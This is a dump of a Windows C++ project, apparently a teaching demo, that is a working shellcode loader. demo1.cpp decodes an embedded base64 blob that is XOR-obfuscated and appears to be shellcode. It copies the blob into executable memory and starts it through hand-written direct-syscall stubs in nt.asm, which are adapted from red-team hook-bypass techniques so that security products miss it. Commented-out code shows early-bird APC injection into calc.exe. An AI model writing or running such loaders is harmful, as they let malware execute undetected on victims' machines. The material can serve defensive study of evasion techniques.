64 strings, too, so check for '.' also. ) { // // Emit a chunk's second byte (which might not be produced in the last chunk). // unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]); ret.push_back(static_cast(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2))); if ((pos + 3 < length_of_string) && encoded_string[pos + 3] != '=' && encoded_string[pos + 3] != '.' ) { // // Emit a chunk's third byte (which might not be produced in the last chunk). // ret.push_back(static_cast(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string[pos + 3]))); } } pos += 4; } return ret; } std::string base64_decode(std::string const& s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } std::string base64_encode(std::string const& s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string const& s) { return encode_pem(s); } std::string base64_encode_mime(std::string const& s) { return encode_mime(s); } #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string_view s) { return encode_pem(s); } std::string base64_encode_mime(std::string_view s) { return encode_mime(s); } std::string base64_decode(std::string_view s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } #endif // __cplusplus >= 201703L ================================================ FILE: chapter4-demo3/demo1/base64.h ================================================ // // base64 encoding and decoding with C++. // Version: 2.rc.08 (release candidate) // #ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include #if __cplusplus >= 201703L #include #endif // __cplusplus >= 201703L std::string base64_encode(std::string const& s, bool url = false); std::string base64_encode_pem(std::string const& s); std::string base64_encode_mime(std::string const& s); std::string base64_decode(std::string const& s, bool remove_linebreaks = false); std::string base64_encode(unsigned char const*, size_t len, bool url = false); #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url = false); std::string base64_encode_pem(std::string_view s); std::string base64_encode_mime(std::string_view s); std::string base64_decode(std::string_view s, bool remove_linebreaks = false); #endif // __cplusplus >= 201703L #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ ================================================ FILE: chapter4-demo3/demo1/demo1.cpp ================================================ // demo1.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #include "header.h" #include "base64.h" #include "nt.h" using namespace std; unsigned char* ReadProcessBlob(const char* fnamSc, DWORD* szSc) { DWORD szRead{ 0 }; HANDLE hFile = CreateFileA( fnamSc, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (INVALID_HANDLE_VALUE == hFile) return nullptr; SIZE_T szFile = GetFileSize(hFile, NULL); *szSc = szFile; unsigned char* raw = new unsigned char[szFile]; unsigned char* sc = new unsigned char[szFile]; if (!ReadFile(hFile, raw, szFile, &szRead, NULL)) return nullptr; int i; for (i = 0; i < szRead; i++) { sc[i] = raw[i] ^ XOR_KEY; } return sc; } std::string replace(const std::string& inStr, const char* pSrc, const char* pReplace) { std::string str = inStr; std::string::size_type stStart = 0; std::string::iterator iter = str.begin(); while (iter != str.end()) { std::string::size_type st = str.find(pSrc, stStart); if (st == str.npos) { break; } iter = iter + st - stStart; str.replace(iter, iter + strlen(pSrc), pReplace); iter = iter + strlen(pReplace); stStart = st + strlen(pReplace); } return str; } LPVOID GetSuitableBaseAddress(HANDLE hProc, DWORD szPage, DWORD szAllocGran, DWORD cVmResv) { MEMORY_BASIC_INFORMATION mbi; for (auto base : VC_PREF_BASES) { VirtualQueryEx( hProc, base, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE == mbi.State) { uint64_t i; for (i = 0; i < cVmResv; ++i) { LPVOID currentBase = (void*)((DWORD_PTR)base + (i * szAllocGran)); VirtualQueryEx( hProc, currentBase, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE != mbi.State) break; } if (i == cVmResv) { // found suitable base return base; } } } return nullptr; } #ifdef _M_IX86 EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { return (PVOID)__readfsdword(0xC0); } __declspec(naked) BOOL local_is_wow64(void) { __asm { mov eax, fs: [0xc0] test eax, eax jne wow64 mov eax, 0 ret wow64 : mov eax, 1 ret } } #endif // Code below is adapted from @modexpblog. Read linked article for more details. // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams SW3_SYSCALL_LIST SW3_SyscallList; // SEARCH_AND_REPLACE #ifdef SEARCH_AND_REPLACE // THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); #endif DWORD SW3_HashSyscall(PCSTR FunctionName) { DWORD i = 0; DWORD Hash = SW3_SEED; while (FunctionName[i]) { WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); Hash ^= PartialName + SW3_ROR8(Hash); } return Hash; } #ifndef JUMPER PVOID SC_Address(PVOID NtApiAddress) { return NULL; } #else PVOID SC_Address(PVOID NtApiAddress) { DWORD searchLimit = 512; PVOID SyscallAddress; #ifdef _WIN64 // If the process is 64-bit on a 64-bit OS, we need to search for syscall BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; ULONG distance_to_syscall = 0x12; #else // If the process is 32-bit on a 32-bit OS, we need to search for sysenter BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; ULONG distance_to_syscall = 0x0f; #endif #ifdef _M_IX86 // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved if (local_is_wow64()) { #ifdef DEBUG printf("[+] Running 32-bit app on x64 (WOW64)\n"); #endif return NULL; } #endif // we don't really care if there is a 'jmp' between // NtApiAddress and the 'syscall; ret' instructions SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) { // we can use the original code for this system call :) #if defined(DEBUG) printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); #endif return SyscallAddress; } // the 'syscall; ret' intructions have not been found, // we will try to use one near it, similarly to HalosGate for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) { // let's try with an Nt* API below our syscall SyscallAddress = SW3_RVA2VA( PVOID, NtApiAddress, distance_to_syscall + num_jumps * 0x20); if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) { #if defined(DEBUG) printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); #endif return SyscallAddress; } // let's try with an Nt* API above our syscall SyscallAddress = SW3_RVA2VA( PVOID, NtApiAddress, distance_to_syscall - num_jumps * 0x20); if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) { #if defined(DEBUG) printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); #endif return SyscallAddress; } } #ifdef DEBUG printf("Syscall Opcodes not found!\n"); #endif return NULL; } #endif BOOL SW3_PopulateSyscallList() { // Return early if the list is already populated. if (SW3_SyscallList.Count) return TRUE; #ifdef _WIN64 PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); #else PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); #endif PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; PVOID DllBase = NULL; // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second // in the list, so it's safer to loop through the full list and find it. PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) { DllBase = LdrEntry->DllBase; PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (VirtualAddress == 0) continue; ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); // If this is NTDLL.dll, exit loop. PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; } if (!ExportDirectory) return FALSE; DWORD NumberOfNames = ExportDirectory->NumberOfNames; PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); // Populate SW3_SyscallList with unsorted Zw* entries. DWORD i = 0; PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; do { PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); // Is this a system call? if (*(USHORT*)FunctionName == 0x775a) { Entries[i].Hash = SW3_HashSyscall(FunctionName); Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); i++; if (i == SW3_MAX_ENTRIES) break; } } while (--NumberOfNames); // Save total number of system calls found. SW3_SyscallList.Count = i; // Sort the list by address in ascending order. for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) { for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) { if (Entries[j].Address > Entries[j + 1].Address) { // Swap entries. SW3_SYSCALL_ENTRY TempEntry; TempEntry.Hash = Entries[j].Hash; TempEntry.Address = Entries[j].Address; TempEntry.SyscallAddress = Entries[j].SyscallAddress; Entries[j].Hash = Entries[j + 1].Hash; Entries[j].Address = Entries[j + 1].Address; Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; Entries[j + 1].Hash = TempEntry.Hash; Entries[j + 1].Address = TempEntry.Address; Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; } } } return TRUE; } EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) { // Ensure SW3_SyscallList is populated. if (!SW3_PopulateSyscallList()) return -1; for (DWORD i = 0; i < SW3_SyscallList.Count; i++) { if (FunctionHash == SW3_SyscallList.Entries[i].Hash) { return i; } } return -1; } EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) { // Ensure SW3_SyscallList is populated. if (!SW3_PopulateSyscallList()) return NULL; for (DWORD i = 0; i < SW3_SyscallList.Count; i++) { if (FunctionHash == SW3_SyscallList.Entries[i].Hash) { return SW3_SyscallList.Entries[i].SyscallAddress; } } return NULL; } EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) { // Ensure SW3_SyscallList is populated. if (!SW3_PopulateSyscallList()) return NULL; DWORD index = ((DWORD)rand()) % SW3_SyscallList.Count; while (FunctionHash == SW3_SyscallList.Entries[index].Hash) { // Spoofing the syscall return address index = ((DWORD)rand()) % SW3_SyscallList.Count; } return SW3_SyscallList.Entries[index].SyscallAddress; } int main() { bool all_tests_passed = false; std::string rest2_reference = "9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9/f3VWIIQbZ/YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsFgICAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39/f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9/f3J0V8UEwIQShDvCCeEfnGqz4QOUCZb1k9zZRfrP2kaoTlwQZQ+aY4tgZwQlaNp0lYfmGOcGoGYzblJRLD9V4TH2y6c1s4iOAMlePMttdpgghde216JUlvbWZ8MihFZ3JhZGRpJzwmOCgga2dleGl8YWpkbTMoRVtBTSg/JjgzKF9hZmxnf3soRlwoPSY5IQUCCM1l6QoDmhAeJZoutN1CPkoMbBYRT4p4JodhVtQQ/QXiL7U61RfcwKRjFq95GITSknVDXEYydGh4NjiMRT6a43pevMz6zCoiQMDcYy/1jHjhWWvhVp/6TPSIiL5RP8LaSwpz++6FswyGtYnKUJ+da0rRw4YW4GE1isJ9yBukKGBzCetRpZrAZtf8AZPUpuLRg9gLYdXFeifw5yhKxN4jy6BQV14m/VHXb2WO3XrQXc7c0CxfgIM1rYMHGVMH6y9uyurrF7uMzIg+sptJ4pFTYuzDslBKxx4+qcw2ikCPTsks2vAe8rGqLYAwlP4+eRcISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CB+UCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl/X39zkxOiY5PjAmOCY5OzkIWQG3ZQ@@"; std::string rest3_reference = replace(rest2_reference, "@@", "=="); std::string rest2_decoded = base64_decode(rest3_reference); const char* S = rest2_decoded.c_str(); HANDLE hProc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 8696 ); SYSTEM_INFO sys_inf; GetSystemInfo(&sys_inf); DWORD page_size{ sys_inf.dwPageSize }; DWORD alloc_gran{ sys_inf.dwAllocationGranularity }; SIZE_T szVmResv{ alloc_gran }; SIZE_T szVmCmm{ page_size }; DWORD cVmResv = (rest2_decoded.length() / szVmResv) + 1; DWORD cVmCmm = szVmResv / szVmCmm; LPVOID vmBaseAddress = GetSuitableBaseAddress( hProc, szVmCmm, szVmResv, cVmResv ); LPVOID currentVmBase{ vmBaseAddress }; NTSTATUS status{ 0 }; vector vcVmResv; //alloc memeory for (int i = 1; i <= cVmResv; ++i) { status = BNtAVM( hProc, ¤tVmBase, NULL, &szVmResv, MEM_RESERVE, PAGE_NOACCESS ); if (STATUS_SUCCESS == status) { vcVmResv.push_back(currentVmBase); } else { std::cout << "AVM error"; } currentVmBase = (LPVOID)((DWORD_PTR)currentVmBase + szVmResv); } DWORD offsetSc{ 0 }; DWORD oldProt; double prcDone{ 0 }; DWORD cmm_i; for (int i = 0; i < cVmResv; ++i) { unsigned char* sc = new unsigned char[szVmCmm]; for (int j = 0; j < szVmCmm; j++) { //cout << szVmCmm * i + j << endl; sc[j] = S[szVmCmm * i + j] ^ XOR_KEY; } void* exec = VirtualAlloc(0, cVmResv, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, sc, rest2_decoded.length()); //((void(*)())exec)(); /* HANDLE hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL); if (hThread == NULL) { return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); }*/ /* CreateThread HANDLE hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL); if (hThread == NULL) { return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); */ //eariler bird APC /* SIZE_T shellSize = 4096; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); */ //((void(*)())exec)(); HANDLE hThread{ nullptr }; ANtCTE( &hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)exec, NULL, NULL, 0, 0, 0, nullptr ); WaitForSingleObject(hThread, INFINITE); } } // Run program: Ctrl + F5 or Debug > Start Without Debugging menu // Debug program: F5 or Debug > Start Debugging menu // Tips for Getting Started: // 1. Use the Solution Explorer window to add/manage files // 2. Use the Team Explorer window to connect to source control // 3. Use the Output window to see build output and other messages // 4. Use the Error List window to view errors // 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project // 6. In the future, to open this project again, go to File > Open > Project and select the .sln file ================================================ FILE: chapter4-demo3/demo1/demo1.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 {1876F365-2DEC-42C9-B80E-B631B26FCAD8} Win32Proj demo1 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true true false false Level3 Disabled true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 Disabled true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 MaxSpeed true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 Disabled true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true CppCode ================================================ FILE: chapter4-demo3/demo1/demo1.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd Source Files Source Files Resource Files Resource Files\Header Files Resource Files\Header Files Source Files ================================================ FILE: chapter4-demo3/demo1/demo1.vcxproj.user ================================================  ================================================ FILE: chapter4-demo3/demo1/nt.asm ================================================ .code EXTERN SW3_GetSyscallNumber: PROC bye : ret NtCreateThreadEx PROC mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 03EA48B99h ; Load function hash into ECX. call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx syscall ; Invoke system call. ret NtCreateThreadEx ENDP ANtCTE proc mov r12, rcx mov r13, rdx mov r14, r8 mov r15, r9 mov r10, rcx xor rax, rax add eax, 0C1h ; 2004, 20H2 syscall cmp rax, 00 je bye mov rcx, r12 mov rdx, r13 mov r8, r14 mov r9, r15 mov r10, rcx xor rax, rax add eax, 0BDh ; 1903, 1909 syscall cmp rax, 00 je bye mov rcx, r12 mov rdx, r13 mov r8, r14 mov r9, r15 mov r10, rcx xor rax, rax add eax, 0BCh ; 1809 syscall cmp rax, 00 je bye ANtCTE endp BNtAVM proc mov r8, r10 mov r10, 01h xor r10, r10 mov r10, 0Ah mov r10, rcx xor eax, eax sub r8, r10 add eax, 18h; 1507 + xor r8, r8 syscall ret BNtAVM endp BNtWVM proc add rcx, 0Ah xor eax, eax mov r10, rcx add eax, 3Ah; 1507 + sub r10, 0Ah sub rcx, 0Ah syscall ret BNtWVM endp BNtPVM proc add r10, 1Ch xor eax, eax mov r10, rcx sub r10, 01h add eax, 50h; 1507 + add r10, 01h syscall ret BNtPVM endp end ================================================ FILE: chapter4-demo3/demo1/nt.h ================================================ #pragma once #ifndef SW3_HEADER_H_ #define SW3_HEADER_H_ #include #define SW3_SEED 0xA8EC79BB #define SW3_ROL8(v) (v << 8 | v >> 24) #define SW3_ROR8(v) (v >> 8 | v << 24) #define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) #define SW3_MAX_ENTRIES 500 #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) #define STATUS_SUCCESS 0 EXTERN_C NTSTATUS BNtAVM( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); EXTERN_C NTSTATUS BNtWVM( HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead ); EXTERN_C NTSTATUS BNtPVM( HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection ); typedef struct _SW3_SYSCALL_ENTRY { DWORD Hash; DWORD Address; PVOID SyscallAddress; } SW3_SYSCALL_ENTRY, * PSW3_SYSCALL_ENTRY; typedef struct _SW3_SYSCALL_LIST { DWORD Count; SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; } SW3_SYSCALL_LIST, * PSW3_SYSCALL_LIST; typedef struct _SW3_PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } SW3_PEB_LDR_DATA, * PSW3_PEB_LDR_DATA; typedef struct _SW3_LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; } SW3_LDR_DATA_TABLE_ENTRY, * PSW3_LDR_DATA_TABLE_ENTRY; typedef struct _SW3_PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PSW3_PEB_LDR_DATA Ldr; } SW3_PEB, * PSW3_PEB; DWORD SW3_HashSyscall(PCSTR FunctionName); BOOL SW3_PopulateSyscallList(); EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE { PVOID pValue; ULONG ValueLength; } TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, * PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE { ULONG64 Version; UNICODE_STRING Name; } TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, * PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; typedef struct _WNF_TYPE_ID { GUID TypeId; } WNF_TYPE_ID, * PWNF_TYPE_ID; typedef enum _PS_CREATE_STATE { PsCreateInitialState, PsCreateFailOnFileOpen, PsCreateFailOnSectionCreate, PsCreateFailExeFormat, PsCreateFailMachineMismatch, PsCreateFailExeName, PsCreateSuccess, PsCreateMaximumStates } PS_CREATE_STATE, * PPS_CREATE_STATE; typedef enum _KCONTINUE_TYPE { KCONTINUE_UNWIND, KCONTINUE_RESUME, KCONTINUE_LONGJUMP, KCONTINUE_SET, KCONTINUE_LAST } KCONTINUE_TYPE; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; VOID* Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef enum _PLUGPLAY_EVENT_CATEGORY { HardwareProfileChangeEvent, TargetDeviceChangeEvent, DeviceClassChangeEvent, CustomDeviceEvent, DeviceInstallEvent, DeviceArrivalEvent, PowerEvent, VetoEvent, BlockedDriverEvent, InvalidIDEvent, MaxPlugEventCategory } PLUGPLAY_EVENT_CATEGORY, * PPLUGPLAY_EVENT_CATEGORY; typedef enum _PNP_VETO_TYPE { PNP_VetoTypeUnknown, // unspecified PNP_VetoLegacyDevice, // instance path PNP_VetoPendingClose, // instance path PNP_VetoWindowsApp, // module PNP_VetoWindowsService, // service PNP_VetoOutstandingOpen, // instance path PNP_VetoDevice, // instance path PNP_VetoDriver, // driver service name PNP_VetoIllegalDeviceRequest, // instance path PNP_VetoInsufficientPower, // unspecified PNP_VetoNonDisableable, // instance path PNP_VetoLegacyDriver, // service PNP_VetoInsufficientRights // unspecified } PNP_VETO_TYPE, * PPNP_VETO_TYPE; typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 { UNICODE_STRING Name; USHORT ValueType; USHORT Reserved; ULONG Flags; ULONG ValueCount; union { PLONG64 pInt64; PULONG64 pUint64; PUNICODE_STRING pString; PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; } Values; } TOKEN_SECURITY_ATTRIBUTE_V1, * PTOKEN_SECURITY_ATTRIBUTE_V1; typedef VOID(KNORMAL_ROUTINE) ( IN PVOID NormalContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2); typedef struct _PS_ATTRIBUTE { ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength; } PS_ATTRIBUTE, * PPS_ATTRIBUTE; typedef struct _WNF_STATE_NAME { ULONG Data[2]; } WNF_STATE_NAME, * PWNF_STATE_NAME; #ifndef InitializeObjectAttributes #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } #endif typedef struct _KEY_VALUE_ENTRY { PUNICODE_STRING ValueName; ULONG DataLength; ULONG DataOffset; ULONG Type; } KEY_VALUE_ENTRY, * PKEY_VALUE_ENTRY; typedef enum _KEY_SET_INFORMATION_CLASS { KeyWriteTimeInformation, KeyWow64FlagsInformation, KeyControlFlagsInformation, KeySetVirtualizationInformation, KeySetDebugInformation, KeySetHandleTagsInformation, MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum. } KEY_SET_INFORMATION_CLASS, * PKEY_SET_INFORMATION_CLASS; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemHandleInformation = 16, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45, SystemCodeIntegrityInformation = 103, SystemPolicyInformation = 134, } SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS; typedef enum _PROCESSINFOCLASS { ProcessBasicInformation = 0, ProcessDebugPort = 7, ProcessWow64Information = 26, ProcessImageFileName = 27, ProcessBreakOnTermination = 29 } PROCESSINFOCLASS, * PPROCESSINFOCLASS; typedef struct _MEMORY_RANGE_ENTRY { PVOID VirtualAddress; SIZE_T NumberOfBytes; } MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY; typedef struct _T2_SET_PARAMETERS_V0 { ULONG Version; ULONG Reserved; LONGLONG NoWakeTolerance; } T2_SET_PARAMETERS, * PT2_SET_PARAMETERS; typedef struct _FILE_PATH { ULONG Version; ULONG Length; ULONG Type; CHAR FilePath[1]; } FILE_PATH, * PFILE_PATH; typedef struct _FILE_USER_QUOTA_INFORMATION { ULONG NextEntryOffset; ULONG SidLength; LARGE_INTEGER ChangeTime; LARGE_INTEGER QuotaUsed; LARGE_INTEGER QuotaThreshold; LARGE_INTEGER QuotaLimit; SID Sid[1]; } FILE_USER_QUOTA_INFORMATION, * PFILE_USER_QUOTA_INFORMATION; typedef struct _FILE_QUOTA_LIST_INFORMATION { ULONG NextEntryOffset; ULONG SidLength; SID Sid[1]; } FILE_QUOTA_LIST_INFORMATION, * PFILE_QUOTA_LIST_INFORMATION; typedef struct _FILE_NETWORK_OPEN_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; ULONG Unknown; } FILE_NETWORK_OPEN_INFORMATION, * PFILE_NETWORK_OPEN_INFORMATION; typedef enum _FILTER_BOOT_OPTION_OPERATION { FilterBootOptionOperationOpenSystemStore, FilterBootOptionOperationSetElement, FilterBootOptionOperationDeleteElement, FilterBootOptionOperationMax } FILTER_BOOT_OPTION_OPERATION, * 